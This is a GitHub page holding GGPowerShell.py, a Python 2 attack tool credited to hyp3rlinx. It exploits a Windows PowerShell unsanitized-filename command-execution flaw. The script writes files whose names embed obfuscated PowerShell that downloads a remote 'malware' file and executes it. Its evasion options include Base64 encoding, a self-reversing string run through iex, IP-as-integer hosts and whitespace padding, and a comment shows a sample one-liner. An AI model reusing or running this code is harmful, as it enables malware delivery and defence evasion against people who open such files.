-
Notifications
You must be signed in to change notification settings - Fork 4
/
GGPowerShell.py
313 lines (248 loc) · 11.1 KB
/
GGPowerShell.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
from base64 import b64encode
from base64 import b64decode
from socket import *
import argparse,sys,socket,struct,re
#GGPowerShell
#Microsoft Windows PowerShell - Unsantized Filename RCE Dirty File Creat0r.
#
#Original advisory:
#http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-POWERSHELL-UNSANITIZED-FILENAME-COMMAND-EXECUTION.txt
#
#Original PoC:
#https://www.youtube.com/watch?v=AH33RW9g8J4
#
#By John Page (aka hyp3rlinx)
#Apparition Security
#=========================
#Features added to the original advisory script:
#
#Original script may have issues with -O for save files with certain PS versions, so now uses -OutFile.
#
#Added: server port option (Base64 mode only)
#
#Added: -z Reverse String Command as an alternative to default Base64 encoding obfuscation.
#Example self reversing payload to save and execute a file "n.js" from 127.0.0.1 port 80 is only 66 bytes.
#
#$a='sj.n trats;sj.n eliFtuO- 1.0.0.721 rwi'[-1..-38]-join'';iex $a
#
#-z payload requires a forced malware download on server-side, defaults port 80 and expects an ip-address.
#
#Added: IP to Integer for extra evasion - e.g 127.0.0.1 = 2130706433
#
#Added: Prefix whitespace - attempt to hide the filename payload by push it to the end of the filename.
#
#Since we have space limit, malware names should try be 5 chars max e.g. 'a.exe' including the ext to make room for
#IP/Host/Port and whitespace especially when Base64 encoding, for reverse command string option we have more room to play.
#e.g. a.exe or n.js (1 char for the name plus 2 to 3 chars for ext plus the dot).
#
#All in the name of the dirty PS filename.
#=========================================
BANNER='''
________________ _____ __ _____ __ __
/ ____/ ____/ __ \____ _ _____ _____/ ___// /_ |__ // / / /
/ / __/ / __/ /_/ / __ \ | /| / / _ \/ ___/\__ \/ __ \ /_ </ / / /
/ /_/ / /_/ / ____/ /_/ / |/ |/ / __/ / ___/ / / / /__/ / /___/ /___
\____/\____/_/ \____/|__/|__/\___/_/ /____/_/ /_/____/_____/_____/
By hyp3rlinx
ApparitionSec
'''
FILENAME_PREFIX="Hello-World"
POWERSHELL_OBFUSCATED="poWeRshELl"
DEFAULT_PORT="80"
DEFAULT_BASE64_WSPACE_LEN=2
MAX_CHARS = 254
WARN_MSG="Options: register shorter domain name, try <ip-address> -i flag, force-download or omit whitespace."
def parse_args():
parser.add_argument("-s", "--server", help="Server to download malware from.")
parser.add_argument("-p", "--port", help="Malware server port, defaults 80.")
parser.add_argument("-m", "--locf", help="Name for the Malware upon download.")
parser.add_argument("-r", "--remf", nargs="?", help="Malware to download from the remote server.")
parser.add_argument("-f", "--force_download", nargs="?", const="1", help="No malware name specified, malwares force downloaded from the server web-root, malware type must be known up front.")
parser.add_argument("-z", "--rev_str_cmd", nargs="?", const="1", help="Reverse string command obfuscation Base64 alternative, ip-address and port 80 only, Malware must be force downloaded on the server-side, see -e.")
parser.add_argument("-w", "--wspace", help="Amount of whitespace to use for added obfuscation, Base64 is set for 2 bytes.")
parser.add_argument("-i", "--ipevade", nargs="?", const="1", help="Use the integer value of the malware servers IP address for obfuscation/evasion.")
parser.add_argument("-e", "--example", nargs="?", const="1", help="Show example use cases")
return parser.parse_args()
#self reverse PS commands
def rev_str_command(args):
malware=args.locf[::-1]
revload=malware
revload+=" trats;"
revload+=malware
revload+=" eliFtuO- "
revload+=args.server[::-1]
revload+=" rwi"
payload = "$a='"
payload+=malware
payload+=" trats;"
payload+=malware
payload+=" eliFtuO- "
payload+=args.server[::-1]
payload+=" rwi'[-1..-"+str(len(revload))
payload+="]-join '';iex $a"
return payload
def ip2int(addr):
return struct.unpack("!I", inet_aton(addr))[0]
def ip2hex(ip):
x = ip.split('.')
return '0x{:02X}{:02X}{:02X}{:02X}'.format(*map(int, x))
def obfuscate_ip(target):
IPHex = ip2hex(target)
return str(ip2int(IPHex))
def decodeB64(p):
return b64decode(p)
def validIP(host):
try:
socket.inet_aton(host)
return True
except socket.error:
return False
def filename_sz(space,cmds,mode):
if mode==0:
return len(FILENAME_PREFIX)+len(space)+ 1 +len(POWERSHELL_OBFUSCATED)+ 4 + len(cmds)+ len(";.ps1")
else:
return len(FILENAME_PREFIX) + len(space) + 1 + len(cmds) + len(";.ps1")
def check_filename_size(sz):
if sz > MAX_CHARS:
print "Filename is", sz, "chars of max allowed", MAX_CHARS
print WARN_MSG
return False
return True
def create_file(payload, args):
try:
f=open(payload, "w")
f.write("Write-Output 'Have a good night!'")
f.close()
except Exception as e:
print "[!] File not created!"
print WARN_MSG
return False
return True
def cmd_info(t,p):
print "PAYLOAD: "+p
if t==0:
print "TYPE: Base64 encoded payload."
else:
print "TYPE: Self Reversing String Command (must force-download the malware server side)."
def main(args):
global FILENAME_PREFIX
if len(sys.argv)==1:
parser.print_help(sys.stderr)
sys.exit(1)
if args.example:
usage()
exit()
sz=0
space=""
b64payload=""
reverse_string_cmd=""
if not validIP(args.server):
if not args.rev_str_cmd:
if args.server.find("http://")==-1:
args.server = "http://"+args.server
if args.ipevade:
args.server = args.server.replace("http://", "")
if validIP(args.server):
args.server = obfuscate_ip(args.server)
else:
print "[!] -i (IP evasion) requires a valid IP address, see Help -h."
exit()
if not args.locf:
print "[!] Missing local malware save name -m flag see Help -h."
exit()
if not args.rev_str_cmd:
if not args.remf and not args.force_download:
print "[!] No remote malware specified, force downloading are we? use -f or -r flag, see Help -h."
exit()
if args.remf and args.force_download:
print "[!] Multiple download options specified, use -r or -f exclusively, see Help -h."
exit()
if args.force_download:
args.remf=""
if args.remf:
#remote file can be extension-less
if not re.findall("^[~\w,a-zA-Z0-9]$", args.remf) and not re.findall("^[~\w,\s-]+\.[A-Za-z0-9]{2,3}$", args.remf):
print "[!] Invalid remote malware name specified, see Help -h."
exit()
#local file extension is required
if not re.findall("^[~\w,\s-]+\.[A-Za-z0-9]{2,3}$", args.locf):
print "[!] Local malware name "+args.locf+" invalid, must contain no paths and have the correct extension."
exit()
if not args.port:
args.port = DEFAULT_PORT
if args.wspace:
args.wspace = int(args.wspace)
space="--IAA="*DEFAULT_BASE64_WSPACE_LEN
if args.wspace != DEFAULT_BASE64_WSPACE_LEN:
print "[!] Ignoring", args.wspace, "whitespace amount, Base64 default is two bytes"
filename_cmd = "powershell iwr "
filename_cmd+=args.server
filename_cmd+=":"
filename_cmd+=args.port
filename_cmd+="/"
filename_cmd+=args.remf
filename_cmd+=" -OutFile "
filename_cmd+=args.locf
filename_cmd+=" ;sleep -s 2;start "
filename_cmd+=args.locf
b64payload = b64encode(filename_cmd.encode('UTF-16LE'))
sz = filename_sz(space, b64payload, 0)
FILENAME_PREFIX+=space
FILENAME_PREFIX+=";"
FILENAME_PREFIX+=POWERSHELL_OBFUSCATED
FILENAME_PREFIX+=" -e "
FILENAME_PREFIX+=b64payload
FILENAME_PREFIX+=";.ps1"
COMMANDS = FILENAME_PREFIX
else:
if args.server.find("http://")!=-1:
args.server = args.server.replace("http://","")
if args.force_download:
print "[!] Ignored -f as forced download is already required with -z flag."
if args.wspace:
space=" "*int(args.wspace)
if args.remf:
print "[!] Using both -z and -r flags is disallowed, see Help -h."
exit()
if args.port:
print "[!] -z flag must use port 80 as its default, see Help -h."
exit()
if not re.findall("^[~\w,\s-]+\.[A-Za-z0-9]{2,3}$", args.locf):
print "[!] Local Malware name invalid -m flag."
exit()
reverse_string_cmd = rev_str_command(args)
sz = filename_sz(space, reverse_string_cmd, 1)
FILENAME_PREFIX+=space
FILENAME_PREFIX+=";"
FILENAME_PREFIX+=reverse_string_cmd
FILENAME_PREFIX+=";.ps1"
COMMANDS=FILENAME_PREFIX
if check_filename_size(sz):
if create_file(COMMANDS,args):
if not args.rev_str_cmd:
cmd_info(0,decodeB64(b64payload))
else:
cmd_info(1,reverse_string_cmd)
return sz
return False
def usage():
print "(-r) -s <domain-name.xxx> -p 5555 -m g.js -r n.js -i -w 2"
print " Whitespace, IP evasion, download, save and exec malware via Base64 encoded payload.\n"
print " Download an save malware simply named '2' via port 80, rename to f.exe and execute."
print " -s <domain-name.xxx> -m a.exe -r 2\n"
print "(-f) -s <domain-name.xxx> -f -m d.exe"
print " Expects force download from the servers web-root, malware type must be known upfront.\n"
print "(-z) -s 192.168.1.10 -z -m q.cpl -w 150"
print " Reverse string PowerShell command alternative to Base64 obfuscation"
print " uses self reversing string of PS commands, malware type must be known upfront."
print " Defaults port 80, ip-address only and requires server-side forced download from web-root.\n"
print "(-i) -s 192.168.1.10 -i -z -m ~.vbs -w 100"
print " Reverse string command with (-i) IP as integer value for evasion.\n"
print " Base64 is the default command obfuscation encoding, unless -z flags specified."
if __name__=="__main__":
print BANNER
parser = argparse.ArgumentParser()
sz = main(parse_args())
if sz:
print "DIRTY FILENAME SIZE: %s" % (sz) +"\n"
print "PowerShell Unsantized Filename RCE file created."